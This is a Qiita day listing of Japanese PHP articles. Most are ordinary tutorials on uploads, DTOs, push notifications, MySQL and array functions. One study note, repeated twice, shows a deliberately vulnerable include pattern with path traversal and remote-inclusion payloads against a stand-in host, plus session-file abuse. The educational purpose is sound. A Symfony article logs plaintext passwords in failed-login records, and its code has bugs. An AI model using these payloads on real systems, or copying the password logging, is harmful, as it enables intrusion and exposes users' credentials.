20191224のPHPに関する記事は19件です。

徳丸本の輪講メモ

ファイルインクルード攻撃

  • プログラムの中で他のファイルをincludeしている場合、攻撃者が意図的にそのファイル名を修正して不正にファイルを処理させる攻撃
  • 例えばphpではinclude 文により他のファイルをincludeすることが可能。
  • URLの引数でincludeするファイル名を指定する場合、意図的に引数を変更して不正にファイルを処理する。

[[サイバー攻撃大辞典 トップ] > ファイルインクルードの脆弱性(file-include-vulnerability)


実行例

index.html
<body>
<?php
  $header = $_GET['header'];
  require_once($header . '.php');
?>
本文【省略】
</body>

期待する入力

header=spring
↓
require_once('spring.php');

やばい入力

header=../../../../../etc/hosts%00
↓
require_once('../../../../../etc/hosts%00.php');
#.php以降はNULL以降の文字として無視される

リモートファイルインクルード(RFI)攻撃

index.html
<body>
<?php
  $header = $_GET['header'];
  require_once($header . '.php');
?>
本文【省略】
</body>

攻撃スクリプト これを外部からインクルードさせてやれば攻撃成功

<?php phpinfo(); ?>

攻撃用のスクリプト

header=http://trap.example.com/4d/4d-900.txt?
↓
header=http://trap.example.com/4d/4d-900.txt?.php

#.php以降はクエリとして解釈されるので無視

脆弱性がうまれる原因

  • includeファイル名を外部から指定することができる
  • includeすべきファイル名かどうかの妥当性をチェックしていない

対策

  • 外部からファイル名を指定する仕様を避ける
  • ファイル名を英数字に限定する
  • PHP5.2.0以降ではRFIはデフォルトで禁止されている.
  • 以下のように設定する
php.ini
allow_url_include = Off

セッション保存ファイルの悪用

RFIだけでなくても任意スクリプトを実行できる場合がある

  • ファイルのアップロードが可能なサイト
  • セッション変数の保存先としてファイルを使用しているサイト

ただし,ファイル名を推測できる場合に限る.


セッション変数を使った任意スクリプト実行

4d-003.php
<?php
  session_start();
  $_SESSION['answer'] = $_POST['answer'];
  $session_filename = session_save_path() . '/sess_' . session_id();
?>
<body>
質問を受け付けました<br>
セッションファイル名<br> 
<?php echo $session_filename; ?><br> # メモリ上のセッションファイルを叩いて任意ファイル実行
<a href="4d-001.php?header=<?php 
  echo $session_filename; ?>%00">
ファイルインクルード攻撃</a>
</body>


evelインジェクション

avaScriptのデーターフォーマットをであるJSON (JavaScript Object Notation)に不正なコードを挿入し想定外の動作を誘導する攻撃手法。

EVAL インジェクション(eval injection)



共有資源やキャッシュに関する問題

C4j-001.java
import java.io.*;
import javax.servlet.http.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class C4f_001 extends HttpServlet {
  String name; // インスタンス変数として宣言
  protected void doGet(HttpServletRequest req,
                       HttpServletResponse res)
       throws IOException {
    PrintWriter out = res.getWriter();
    out.print("<body>name=");
    try {
      name = req.getParameter("name"); // クエリストリングname
      Thread.sleep(3000); // 3秒待つ(時間のかかる処理のつもり)
      out.print(StringEscapeUtils.escapeHtml4(name)); // ユーザ名の表示
      // out.print(name); // ユーザ名の表示
    } catch (InterruptedException e) {
      out.println(e);
    }
    out.println("</body>");
    out.close();
  }
}

変数nameが共有

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

徳丸本のりんこうメモ

ファイルインクルード攻撃

  • プログラムの中で他のファイルをincludeしている場合、攻撃者が意図的にそのファイル名を修正して不正にファイルを処理させる攻撃
  • 例えばphpではinclude 文により他のファイルをincludeすることが可能。
  • URLの引数でincludeするファイル名を指定する場合、意図的に引数を変更して不正にファイルを処理する。

[[サイバー攻撃大辞典 トップ] > ファイルインクルードの脆弱性(file-include-vulnerability)


実行例

index.html
<body>
<?php
  $header = $_GET['header'];
  require_once($header . '.php');
?>
本文【省略】
</body>

期待する入力

header=spring
↓
require_once('spring.php');

やばい入力

header=../../../../../etc/hosts%00
↓
require_once('../../../../../etc/hosts%00.php');
#.php以降はNULL以降の文字として無視される

リモートファイルインクルード(RFI)攻撃

index.html
<body>
<?php
  $header = $_GET['header'];
  require_once($header . '.php');
?>
本文【省略】
</body>

攻撃スクリプト これを外部からインクルードさせてやれば攻撃成功

<?php phpinfo(); ?>

攻撃用のスクリプト

header=http://trap.example.com/4d/4d-900.txt?
↓
header=http://trap.example.com/4d/4d-900.txt?.php

#.php以降はクエリとして解釈されるので無視

脆弱性がうまれる原因

  • includeファイル名を外部から指定することができる
  • includeすべきファイル名かどうかの妥当性をチェックしていない

対策

  • 外部からファイル名を指定する仕様を避ける
  • ファイル名を英数字に限定する
  • PHP5.2.0以降ではRFIはデフォルトで禁止されている.
  • 以下のように設定する
php.ini
allow_url_include = Off

セッション保存ファイルの悪用

RFIだけでなくても任意スクリプトを実行できる場合がある

  • ファイルのアップロードが可能なサイト
  • セッション変数の保存先としてファイルを使用しているサイト

ただし,ファイル名を推測できる場合に限る.


セッション変数を使った任意スクリプト実行

4d-003.php
<?php
  session_start();
  $_SESSION['answer'] = $_POST['answer'];
  $session_filename = session_save_path() . '/sess_' . session_id();
?>
<body>
質問を受け付けました<br>
セッションファイル名<br> 
<?php echo $session_filename; ?><br> # メモリ上のセッションファイルを叩いて任意ファイル実行
<a href="4d-001.php?header=<?php 
  echo $session_filename; ?>%00">
ファイルインクルード攻撃</a>
</body>


evelインジェクション

avaScriptのデーターフォーマットをであるJSON (JavaScript Object Notation)に不正なコードを挿入し想定外の動作を誘導する攻撃手法。

EVAL インジェクション(eval injection)



共有資源やキャッシュに関する問題

C4j-001.java
import java.io.*;
import javax.servlet.http.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class C4f_001 extends HttpServlet {
  String name; // インスタンス変数として宣言
  protected void doGet(HttpServletRequest req,
                       HttpServletResponse res)
       throws IOException {
    PrintWriter out = res.getWriter();
    out.print("<body>name=");
    try {
      name = req.getParameter("name"); // クエリストリングname
      Thread.sleep(3000); // 3秒待つ(時間のかかる処理のつもり)
      out.print(StringEscapeUtils.escapeHtml4(name)); // ユーザ名の表示
      // out.print(name); // ユーザ名の表示
    } catch (InterruptedException e) {
      out.println(e);
    }
    out.println("</body>");
    out.close();
  }
}

変数nameが共有

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

画像投稿がメインのサービスをはじめて運営してみて、失敗したこと、改善したこと、やろうとしていること

こんにちは、キッド✈️と申します。
東南アジア発のスタートアップスタジオ、GAOGAOのサーバーサイドエンジニアです。
このQiitaはGAOGAO Advent Calendar 2019の25日目の記事です。

先日、@rikuhiroseさんと共同で開発している、旅行サービスをリリースしました。ユーザーによる画像投稿がメインになるサービスです。

リリースしたサービスはこちらです。
20191214003023.png
FRIP | 思わず友達を旅行に誘いたくなる、 おすすめなスポットがあつまる旅行口コミサイト

実は、ユーザーによる画像投稿がメインのサービスを運営するのはこれがはじめてです。

実際に画像投稿メインのサービスを運営してみて、失敗したことがあったので、備忘録としてこちらに残すことにしました。

失敗したこと

(1)ファイルサイズが大きい画像のアップロードに失敗する

サービスをリリースしてすぐ、ありがたいことに友達が投稿をしてくれようとしました..!!嬉しい!!

と、喜んだのもつかの間。

投稿フォームを入力し、投稿する画像を選択し、いざアップロードしたら、画像が重すぎてエラーになりました。

スクリーンショット 2019-12-24 22.46.53.png

理由としては、PHPのupload_max_filesizeを超えてしまったために、サーバー側まで画像を渡すことができませんでした。

お恥ずかしいのですが、PHPのupload_max_filesizeの上限を変更しておらず、上限に引っかかってしまったのです。

解決策:

php.iniのpost_max_sizeとupload_max_filesizeの上限を変更しました。

FRIPはHerokuで運用しています。

HerokuでPHPのupload_max_filesizeを変更するには、publicディレクトリ配下に、.user.ini という名前のファイルを作成し、そちらに書き込むことで反映させることができます。

.user.ini
post_max_size = 20M
upload_max_filesize = 5M

(2)投稿に30秒以上かかってしまう

さて、upload_max_filesizeの上限をあげたことで、無事にサイズの大きな画像もアップロードできるようになりました。しかし、今度は別の問題が発生しました。

リリース当初、画像アップロードは、フォーム送信後にサーバーサイドで全てアップロード処理を行っていました。

スクリーンショット 2019-12-24 23.29.28.png

ですが、ファイルサイズの大きい画像で、かつ複数枚ともなると、フォーム送信してから完了するまでの時間が長い長い...。計測したら、フォーム送信から完了まで30秒かかってしまうこともざらにありました。

これではユーザーが使ってくれない...。

解決策:

画像アップロードは、画像を選択したら非同期でアップロードを行い、アップロードして画像のidを返すようにしました。

フォームを全て入力し、送信する時点で、画像はアップロードされるようにしたことで、フォーム送信から完了までの時間を大幅に短縮することができました。

(3)ファイルサイズが大きすぎてサイトが劇的に遅くなる

さて、無事に投稿はスムーズにできるようになりました。

しかし、今度はユーザーがアップロードした画像のファイルサイズが大きすぎて、サイトが劇的に遅くなりました...。

画像アップロードはS3にアップロードして、テーブルにs3へのurlを保存。CloudFront経由でS3の画像を読み込んでいました。

お恥ずかしいのですが、ユーザーがアップロードした画像は何も改変せず、そのままS3にあげていました。

旅行系サービスなのでユーザーが投稿する画像は、ファイルサイズが大きくなりがちです。

スクリーンショット 2019-12-24 22.40.44.png

トップページで152 × 152 pixelsでしか表示していないのに、読み込んでいる画像は4032 × 3024 pixels。そりゃ重くなるわけだ..。

今現状、投稿は16個ほどですが、読み込みが劇的に遅くなってしまいました。

解決策:

画像をリサイズ後に、S3へアップロードするようにしました。

FRIPはLaravelを使っているのですが、Laravel向けのライブラリで、簡単に画像をリサイズできるIntervention/imageがあり、こちらでリサイズする処理を入れました。

画像をS3にアップロードする前にこちらの処理を入れています。このように書くことで、width:600で、画像のアスペクト比を維持したままリサイズすることができます。

image.php
\InterventionImage::make($image)
  ->resize(600, null, function ($constraint) {
  $constraint->aspectRatio();
  $constraint->upsize();
})->save();

また、こちらのリサイズ機能を追加する前に投稿された画像は未対応なままです。

そちらについては、今後はCloudinaly経由でリサイズして配信する予定しています。

今後やること

Cloudinalyから画像配信

現在は、画像アップロードまでに画像を一定のサイズにリサイズしてから、S3にアップロードし、CloudFront経由でS3の画像を読み込んでいます。

しかし、将来的にはデバイスごとに配信する画像のサイズを改変したいと思いました。

そこで便利なのが、Cloudinalyです。

Cloudinalyでは、画像のパスに「w_500」と、widthを指定するだけ、そのサイズにリサイズしてくれます。
https://res.cloudinary.com/frip/image/upload/c_scale,w_500/v1574897562/sample.jpg

すでにS3で画像管理していても、CloudinalyならリソースURLのパスを紐づけるマッピング設定を行うことで、即時に自動アップロード・画像変換を行うことができます。

詳しくはこちらの記事に解説を譲ります。僕もこちらの記事を参考に設定しました。
S3 から Cloudinary への自動アップロードで即時に画像変換する|クラスメソッドブログ

最後に

記事からも分かりますように大変未熟ですので、画像アップロードのフローで、もっとこうした方がいいよ!など改善アドバイスやフィードバックいただけたらすごく嬉しいです?‍♂️

何卒よろしくお願いいたします?‍♂️

メリークリスマス!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP htmlspecialcharsについて

htmlspecialcharsについて

htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] ) : string

・特殊文字を HTML エンティティに変換する。
・第二引数は、フラグ定数でクォートや無効な符号単位シーケンス、そして文書型の扱いを指定する。 デフォルトは ENT_COMPAT | ENT_HTML401

フラグ定数名 説明
ENT_COMPAT ダブルクオートはエスケープするが、シングルクオートはしない
ENT_QUOTES ダブルクオートもシングルクオートも両方エスケープする
ENT_NOQUOTES ダブルクオートもシングルクオートもエスケープしない
ENT_HTML401 HTML 4.01 として処理
ENT_HTML5 HTML 5 として処理

変換前と変換後

  • <&lt;
  • >&gt;
  • &&amp;
  • "&quot;

・第二引数に ENT_QUOTES を指定すると、下記の変換も行う。

  • '&#039; or &apos;

・第三引数は、文字エンコーディングを定義。

変換する理由

  • XSSを防ぐため。
  • テキストで入力されたものを正しくHTMLに出力するため。

使用例

//次の様なラッパー関数を準備する
function h($str) {
  return htmlspecialchars($str, ENT_QUOTES|ENT_HTML5, "UTF-8");
}
// HTMLに出力する際
echo h('<hoge>');
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DTOのススメ

概要

業務で以下のようなコードをよく見かけます。

  • DBから取得したデータを配列でViewに渡す。
  • Viewで色々制御している。
class ProductController
{
  public function idAction($id): void {
    $this->products = $this->get('product_model')->fetchProductById($id);
  }
}

class ProductModel
{
  public function fetchProductById($id): array {
    // DBからデータを配列で取得する
    return $qb->getArrayResult();
  }
}

// View
<ul>
  <?php foreach ($this->products as $product): ?>
    <li>
      <?= $product['name'] ?><br />
      // 税込みであれば税額を足す
      <?php if ($product['in_tax'] === true): ?>
        <?= $product['price'] + $product['tax'] ?><br />
      <?php else: ?>
        <?= $product['price'] ?><br />
      <?php endif; ?>
      // サムネイルが複数設定されていればループ
      <?php if (is_array($product['thumbnail'])): ?>
        <?php foreach ($product['thumbnail']) as $thumbnail): ?>
          <img src="<?= $thumbnail ?>" /><br />
        <?php endforeach; ?>
      <?php else: ?>
        <img src="<?= $product['thumbnail'] ?>" />
      <?php endif; ?>
    </li>
  <?php endforeach; ?>
</ul>

上記のコードには、いくつかのデメリットがあります。

  • Viewが複雑になりがちで、必須のパラメータなどのデータの制約が読み取りづらい。
  • PHPの配列はどんな値でも入ってしまうため、プログラムが壊れやすい。
  • 配列のキーをIDEが補完してくれないため、毎回キー名を確認しないといけない。
  • 一般的にViewはテストしにくいため、テストの負担が増える。

これらのデメリットは、DTOと呼ばれるクラスを作成することで改善できます。
DTOについては、以下の記事の解説がわかりやすいので、ご参照ください。
https://qiita.com/sagaraya/items/96708cd451021fb040b7

DTOを使って書き換えてみる

先ほどのコードをDTOを使ったパターンに書き換えてみます。

class ProductController
{
  public function idAction($id): void {
    $this->products = $this->get('product_model')->fetchProductById($id);
  }
}

class ProductModel
{
  public function fetchProductById($id): Product[] {
    // DBからデータを配列で取得する
    $result = $qb->getArrayResult();
    $products = [];
    foreach ($result as $row) {
      // DTOを生成して返す
      $product = new Product();
      $product->setName($row['name']);
      $product->setPrice($row['price']);
      ...
      $products[] = $product;
    }
    return $products;
  }
}

// これがDTO
class Product
{
  private $name;
  private $price;
  ...
  public function setName($name) {
    $this->name = $name;
  }
  public function setPrice($price) {
    $this->price = $price;
  }
  ...
  public function getName(): string {
    return $this->name;
  }
  public function getPrice(): int {
    $price = $this->price;
    if ($this->in_tax) {
      $price += $this->tax;
    }
    return $price;
  }
  public function getThumbnails(): string[] {
    if (!is_array($this->thumbnail)) {
      return [$this->thumbnail];
    }
    return $this->thumbnail;
  }
  ...
}

// View
<ul>
  <?php foreach ($this->products as $product): ?>
    <li>
      <?= $product->getName() ?><br />
      // Viewでの制御が不要になる。
      <?= $product->getPrice() ?><br />
      // サムネイルは必ず配列になるので、安心してループできる。
      <?php foreach ($product->getThumbnails() as $thumbnail): ?>
        <img src="<?= $thumbnail ?>" /><br />
      <?php endforeach; ?>
    </li>
  <?php endforeach; ?>
</ul>

まとめ

DTOを使うことにより、以下のようなメリットが生まれました。

  • Viewからifが消え読みやすいコードに。データの制約もDTOに集約されるため読みやすい。
  • DTOクラスが型を担保してくれるので、プログラムが壊れにくい。
  • IDEがgetterやsetterを補完してくれるため、スピーディにコーディングできる。
  • DTOはただのクラスなのでテストしやすい。

参考にしていただければと思います。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

p5jsでPokémon GOっぽいUIを作る(4)

前回までに地図、人、ボタンを雑に表示しましたが、今回は少し趣向を変えて現在地を取得することにします。

まず、地図から。位置情報をURLで渡すとYahoo地図の情報を取得して表示するスクリプトを用意します。

<?php
$appid = "YOUR_APP_ID";
$lat = @$_GET["lat"] ?: "35.66521320007564";
$lon = @$_GET["lon"] ?: "139.7300114513391";
$query = http_build_query([
    'lat' => $lat,
    'lon' => $lon,
    'z' => '16',
    'appid' => $appid,
'base:red|off:address,landmark,line_name,station_name,symbol,area_name',
    'style' => 'off:address,landmark,line_name,station_name,symbol,area_name',
]);
$url = 'https://map.yahooapis.jp/map/V1/static?' . $query;
header('Content-Type: image/png');
readfile( $url );

次に、これを呼び出すわけですが、素のgeolocation APIは非同期なのでp5jsのスタイルと合いません。p5jsっぽく位置情報取得できるp5.geolocation.jsというライブラリがあるので、これを使ってみます。

<script src="p5.min.js"></script>
<script src="p5.geolocation.js"></script>
<script>

let img;
let locationData;
function preload() {
  locationData =  getCurrentPosition();
}

function setup() {
  let lat = locationData.latitude;
  let lon = locationData.longitude;
  let url = 'https://example.com/getmap.php'
  img = loadImage(url +'?lat='+lat+'&lon='+lon);

  createCanvas(600, 600, WEBGL);
}

function draw() {
  background(0);
  rotateX(1);

  push();
  texture(img);
  plane(1000, 1000);
  pop();

}
</script>

ちゃんと動きますね。今回は自宅の周辺を表示しちゃうので画面キャプチャは省略です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Firebase Cloud Messaging API をPHPで叩いてみた

Firebase Cloud Messaging API をPHPで叩いてみた

仕事でFirebaseを使ってモバイルアプリのプッシュ通知機能を実装することになったため、0から一人でネットの海を彷徨いながら調べたことをつらつらと書いていきます。

とりあえずAPI叩くには

自分の環境にcurlコマンドをインストールし、それぞれ必要な値を入力した下記コマンドをターミナルで叩いてみてください。

curl -X POST --header "Authorization: key={SERVER_KEY}" \
--Header "Content-Type: application/json" \
https://fcm.googleapis.com/fcm/send \
-d @- << EOF
{
    "registration_ids": ["{DEVICE_TOKEN}"],
    "notification": {
        "title": "{TITLE}",
        "body": "{MESSAGE}"
    },
    "priority": 10
}
EOF

{SERVER_KEY} = Firebaseコンソールを開き、プロジェクトの設定>クラウド メッセージング>プロジェクト認証情報 に記載されているサーバーキーの値を入力してください。

{DEVICE_TOKEN} = 対象のアプリから取得したデバイストークの値を入力してください。

{TITLE} = プッシュ通知に表示するタイトルを文字列で入力してください。

{MESSAGE} = プッシュ通知に表示するボディ部分のメッセージを文字列で入力してください。

コマンドを叩くと下記のようにmessage_idが返ってくれば成功です。

$ curl -X POST --header "Authorization: key=**********" \
> --Header "Content-Type: application/json" \
> https://fcm.googleapis.com/fcm/send \
> -d @- << EOF
> {
>     "registration_ids": ["**********"],
>     "notification": {
>         "title": "TEST",
>         "body": "This is test push."
>     },
>     "priority": "high"
> }
> EOF
{"multicast_id":**********,"success":1,"failure":0,"canonical_ids":0,"results":[{"message_id":"**********"}]}

PHPで書いてみた

curlコマンドだけではシステムに組み込む際に面倒だと思うので、続いてPHPで上記一連の処理を下記のように実装してみました。

<?php
define( 'FCM_API_SEVER_KEY', '{SEVER_KEY}');
define( 'FCM_API_URL', 'https://fcm.googleapis.com/fcm/send' );
$data = [
        "registration_ids" => ["{DEVICE_TOKEN}"],
        "notification" => [
                "title" => "{TITLE}",
                "body" => "{MESSAGE}"
        ],
        "priority" => "high"
];

$header = [
        'Authorization: key=' . FCM_API_SEVER_KEY,
        'Content-Type: application/json',
];
$context = stream_context_create(array(
        'http' => array(
                'method' => 'POST',
                'header' => implode(PHP_EOL,$header),
                'content'=>  json_encode($data),
                'ignore_errors' => true
        )
));

$response = file_get_contents(
        FCM_API_URL,
        false,
        $context
);

$result = json_decode($response,true);

// 返却値を確認
var_dump($result);

このファイルを下記のように実行すれば先ほどのcurlコマンドと同じようにプッシュ通知を送信できます。

$ php fcmReq.php
array(5) {
  ["multicast_id"]=>
  int(**********)
  ["success"]=>
  int(1)
  ["failure"]=>
  int(0)
  ["canonical_ids"]=>
  int(0)
  ["results"]=>
  array(1) {
    [0]=>
    array(1) {
      ["message_id"]=>
      string(16) "**********"
    }
  }
}

参考記事

https://qiita.com/nkmrh/items/e964d916f9a2620a1b80
https://qiita.com/re-24/items/542f39220a606e319fa1

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

xamppを使ってMySQLに接続

xampp とは

xamppとは無料でMariaDBやPHPとかをインストールできるすごいやつ。
※今回はもうインストールとか初期設定を終えたところから話が進みます。

今回は実際に使ったコマンド等をざっくりまとめていきます。
まぁいつもの感じで


URL系


コマンドプロンプトで使うコマンド

mysqlに接続、切断

C:\xampp\mysql\bin> mysql -u root -p    //mysqlのあるディレクトリ内で実行

MariaDB [(none)]>                   //このようになればOK
MariaDB [(none)]> exit               //mysqlから切断

ステータス確認

MariaDB [(none)]> status;
//いろんな情報が出てきます()

データベース確認

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| example            |
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
+--------------------+

データベースの作成、確認

MariaDB [(none)]> create database データベース名;
MariaDB [(none)]> show databases;
MariaDB [(none)]> create database test2;
Query OK, 1 row affected (0.002 sec)

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| example            |
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| test2              | //追加されていれば成功
+--------------------+

使用するデータベースの指定

MariaDB [(none)]> use データベース名;
MariaDB [(none)]> use test2;
Database changed
MariaDB [test2]>  //[]のなかが変更されていれば成功 

テーブルの作成、確認

MariaDB [test2]> create table テーブル名(
-> テーブルのフィールド情報を入力
->);

MariaDB [test2]> show tables;
MariaDB [test2]> describe テーブル名;
MariaDB [test2]> create table students(
-> id int;
-> first_name varcharset(60);
-> last_name varcharset(60);
->);

MariaDB [test2]> show tables;
+----------------+
| Tables_in_test |
+----------------+
| students       |
+----------------+

MariaDB [test2]> describe students;
+------------+-------------+------+-----+---------+-------+
| Field      | Type        | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| id         | int(11)     | YES  |     | NULL    |       |
| first_name | varchar(60) | YES  |     | NULL    |       |
| last_name  | varchar(60) | YES  |     | NULL    |       |
+------------+-------------+------+-----+---------+-------+

こんなもんですかね。
実際xamppさんはかなり強い雰囲気を漂わせていて、上に記したMySQLのページに行くとデータベースなり、テーブルがGUIで作れたり、テーブルの中身見れたりと結構便利な感じがします。

あとはPHP書いてそこに作ったデータベースの情報を書いて終わり!!!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

EC-CUBE4 でテスト用のデータを生成する

EC-CUBE4 には沢山のテスト用ダミーデータを生成するコマンドが実装されています。

https://github.com/EC-CUBE/ec-cube/pull/2741

開発時にダミーデータが欲しい場合などに便利です。

下準備

EC-CUBE4 をインストールし、 composer install を実行してください.
(Composer がインストールされてない方はインストールしておいてください)

cd path/to/ec-cube
composer install

パッケージ版の場合は必要なライブラリが含まれていないため、このコマンドを実行する必要があります。
github から clone してきた場合は不要です。

ダミー画像生成機能を使用したい場合は、 PHP の GD Extension が必要です。

使用方法

以下のコマンドを実行します

bin/console eccube:fixtures:generate

デフォルトでは、以下のデータを生成します

  • 商品数: 100点
  • 会員数: 100名
  • 注文数: 会員1名につき10件

これらは、以下のようなパラメータで設定できます

bin/console eccube:fixtures:generate --customers=2 --orders=1 --products=10

生成した会員のパスワードは password です。
このデータを決して本番環境へ反映しないよう、くれぐれもご注意ください

大量のデータを生成したい場合

上記コマンドを何回か繰り返し実行することをおすすめします。

以下のように cron で 10分おきに実行してもよいでしょう。

crontab <<EOF
*/10 * * * * cd /path/to/ec-cube && bin/console eccube:fixtures:generate
EOF
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Symfony4でログインに失敗した場合にログに出力する

はじめに

公式ドキュメントのSecurityHow to Build a Login Formを見ながら、ログインフォームでログインをするサンプルを作成しました。

その続きとして、ログインに失敗した場合に、失敗した人のログを取得しておきたいと思います。

方針

How to Build a Login Formで作成した場合、LoginFormAuthenticator.phpにLoggerをインジェクションして出力したくなります。

これをしちゃうと、認証という機能にロギングという別の機能が混じってしまうので、よろしくないようです。

Symfonyの定石としては、認証終了後にAuthentication Eventsが送信されるので、このイベントを待ち受けて処理をするのがよいようです。

イベントリスナーの作成

イベントリスナークラスの雛形の作成

Events and Event Listenersを読みながらイベントリスナーを作成します。

まず、src配下に、EventListenerディレクトリを作成します。
そのディレクトリ配下に、LoginLoggingListenerクラスを作成します。

image.png

以下が、LoginLoggingListenerクラスの骨組みになります。
EventSubscriberInterfaceを継承します。

/src/EventListener/LoginLoggingListener.php
<?php

namespace App\EventListener;

use Symfony\Component\EventDispatcher\EventSubscriberInterface;

class LoginLoggingListener implements EventSubscriberInterface
{
    public static function getSubscribedEvents()
    {
        // TODO: Implement getSubscribedEvents() method.
    }
}

リッスンするイベントを登録する

イベントの購読登録は、Creating an Event Listenerを見ていくと、service.yamlに記載する方法と、Creating an Event Subscriberを実装していく方法があります。

今回は、Event Subscriberを実装していきます。

Authentication Eventsを見ると、ログインに失敗した場合は、security.authentication.failureのイベントが起きますので、これをフックすると良さそうです。

image.png

フック関数として、loggingLoginFailureメソッドを登録します。2つ目の10というのは、このイベントに複数のフック関数を登録する場合の優先順となる番号になります。

/src/EventListener/LoginLoggingListener.php
class LoginLoggingListener implements EventSubscriberInterface
{
    public static function getSubscribedEvents()
    {
        return [
            AuthenticationEvents::AUTHENTICATION_FAILURE => [
                ['loggingLoginFailure', 10]
            ]
        ];
    }
}

イベントフック関数の実装

フック関数の実態を作成していきます。
フック関数には、AuthenticationFailureEventが渡されますが、欲しい情報は入っているのでしょうか?

一旦、ddして見てみます。

/src/EventListener/LoginLoggingListener.php
class LoginLoggingListener implements EventSubscriberInterface
{
~~~ 省略 ~~~

    public function loggingLoginFailure(AuthenticationFailureEvent $event):void
    {
   dd($event);
    }
}

こんな感じで、ログインフォームに入力された情報のメールアドレス、パスワードは取れました!
しかし、肝心のクライアントのIPなどは入っていません。

image.png

ControllerのようにRequestを取得すればよいかと試しましたが、うまくいきませんでした。

ぐぐってみると、同じことをしたい人がおられました。

Symfony - How to get username and IP address in authentication failure listener?

どうやら、RequestStackをインジェクションするとよいようです。
このあたり、どうして、RequestStackがよいのか、わからないので、誰か詳しい方に教えていただきたいところです。

最終的に、LoggerInterfaceもインジェクトして、以下のようになりました。

/src/EventListener/LoginLoggingListener.php
class LoginLoggingListener implements EventSubscriberInterface
{
    private $logger;
    private $requestStack;

    public function __construct(LoggerInterface $loginAuditLogger, RequestStack $requestStack)
    {
        $this->logger = $loginAuditLogger;
        $this->requestStack = $requestStack;
    }

    public static function getSubscribedEvents()
    {
        return [
            AuthenticationEvents::AUTHENTICATION_FAILURE => [
                ['LoggingLoginFailure', 10]
            ]
        ];
    }

    public function loggingLoginFailure(AuthenticationFailureEvent $event):void
    {
        $hCredentials = $event->getAuthenticationToken()->getCredentials();
        $this->logger->notice(sprintf('[Login Failure] email: %s, password: %s, ip: %s, ua: %s, referer: %s',
            $hCredentials['email'],
            $hCredentials['password'],
            $request->getClientIp(),
            $request->headers->get('user-agent'),
            $request->headers->get('referer')
        ));
    }
}

今回の趣旨と異なるのですが、ログは独自ファイル(login_audit-xxxx.log)に出力しています。

image.png

/var/log/login_audit-2019-12-24.log
[2019-12-24 16:43:15] login_audit.NOTICE: [Login Failure] email: idani@hirotae.com, password: hogehoge, ip: 172.18.0.1, ua: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36, referer: https://localhost/login [] []

まとめ

Symfonyには、様々なイベントがあるので、それを使って、機能を最小化していくと良さそうですね。

そろそろサービスとかバンドルとか、理解しづらい部分がでてきたので、気軽に日本語で相談できるメンターが欲しいところです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

定数の必要性、意味、使い所がわからないので調べてみた【初心者】

定数を代入する意味がわからない

定数について

本に記載がある内容では
定数とは、スクリプトの中で何らかの意味を持つ値にあらかじめ名前をつけておく仕組みであると言えます。
と書かれています。

const構文.php
const 定数名 = ;

疑問内容(変数にする必要性はあるのか)

本を読んでいて思ったこと
だからなに」「定数にする意味とは

<?php
$price = 1000;
$sum   = $price * 1.08;
?>

上記の文章では消費税が変わるたびに、スクリプトのあちこちにある「1.08」を変更しなければ行けないので
定数として定義をして下記のようにするみたいです。

<?php
const TAX = 1.08;
$price = 1000;
$sum   = $price * TAX;
?>

ただ、普通に下記で良いんじゃね?とか思ってしまう。

<?php
$tax = 1.08;
$price = 1000;
$sum   = $price * $tax;
?>

メリット(調べた結果)

一回代入したら、再代入がされない。

下記のコードでテストしてみました。

<?php
const TAX =  1.08;
$price = 1000;
$sum   = $price * TAX;
print $sum."\n";
?>

<?php
const TAX =  1.05;
$price2 = 1000;
$sum2   = $price2 * TAX;
?>

=>出力は
1080
1080

ファイル内に一度でも定義されたら、何が何でも他の物を受け付けないみたいです。
⇨変数で書いた場合、同じ名前の変数で別の内容を書いてしまうとそれが影響してしまうため定数にすることでミスの予防になるみたいです。

参考サイト

RIGHTCODE様
とても参考になりました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP 配列関数の勉強

配列操作の勉強用メモ。

array_column

・配列inputの中からcolumn_keyで指定した単一のカラムの値を返す。
・index_keyも指定すると、入力配列内のカラムindex_keyの値に基づいて結果を並び替えることができる。

array_column ( array $input , mixed $column_key [, mixed $index_key = NULL ] ) : array
<?php
// データベースから返ってきたレコードセットの例
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
    )
);

$first_names = array_column($records, 'first_name');
print_r($first_names);

/*
Array
(
    [0] => John
    [1] => Sally
    [2] => Peter
)
*/
?>

array_map

・指定した配列の要素にコールバック関数を適用する。
・$array1の各要素にcallback関数を適用した後、その全ての要素を含む配列を返す。
・非破壊的メソッド

array array_map ( callable $callback , array $array1 [, array $array2] )
function root($n)
{
    return $n * $n;
}

$a = array(1, 2, 3);
$b = array_map("root", $a);
print_r($b);

/*
Array
(
    [0] => 1
    [1] => 4
    [2] => 9
)
*/

配列の配列を生成

nullをコールバック関数にすることで、配列の配列を作成することができる。

<?php
$a = array(1, 2, 3, 4, 5);
$b = array("one", "two", "three", "four", "five");

$c = array_map(null, $a, $b);
print_r($c);

/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
        )

    [1] => Array
        (
